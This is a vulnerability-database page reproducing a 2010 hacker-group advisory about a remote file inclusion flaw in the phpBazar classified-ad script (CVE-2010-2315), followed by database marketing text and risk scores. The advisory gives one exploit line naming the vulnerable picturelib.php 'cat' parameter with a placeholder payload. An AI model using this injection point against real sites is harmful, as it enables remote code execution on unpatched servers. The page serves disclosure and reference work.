phpBazar 2.1.1 stable - Remote File Inclusion
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | SmartISoft phpBazar Remote Code Execution (CVE-2010-2315) | 15 Nov 202000:00 | – | checkpoint_advisories |
 | CVE-2010-2315 | 17 Jun 201016:00 | – | cve |
 | CVE-2010-2315 | 17 Jun 201016:00 | – | cvelist |
 | EUVD-2010-2325 | 7 Oct 202500:30 | – | euvd |
 | CVE-2010-2315 | 17 Jun 201016:30 | – | nvd |
 | Remote file inclusion | 17 Jun 201016:30 | – | prion |
# Title: phpBazar V2.1.1 stable rfi Vulnerability
# Author: Sid3^effects
# Published: 2010-06-03
# Verison: 2.1.1 stable
# vendor: SmartISoft
ooooo .oooooo. oooooo oooooo oooo
`888' d8P' `Y8b `888. `888. .8'
888 888 `888. .8888. .8'
888 888 `888 .8'`888. .8'
888 888 `888.8' `888.8'
888 `88b ooo `888' `888'
o888o `Y8bood8P' `8' `8'
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
Description :
phpBazar is a PHP/MySQL-based higly customizable template-driven classified ad script. Features: Install tool, Multi-languare support, Easy configuration via
CSS, User management, Ad pictures stored in MySQL or text file, Ad attachments, Unlimited categories, Structured category display, Picture display, WebMail,
Send URL-refer, My ad entries, My ad favorites, Search engine, Ad rating, CatNotify, Expired ads notification, Ad-of-the-Day, Flood protection, Member
list/search/details, IP-logging/banning, E-mail and username banning, Dirty and long word filter, Admin ad-approval, Web admin panel, Useronline, and more.
Includes guestbook, voting script and Forum & Chat interface. English, German and French languages incl. Also available are picture library, sales, and chat
options
############################################################################
The older versions of phpBazar had many vulnerabilities and the latest verion of phpBazar V2.1.1 stable has got rfi bug
Xploit :
demo url:http://server/bazar/picturelib.php?cat=[rfi]
############################################################################
#Sid3^effectsData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Jun 2010 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.05824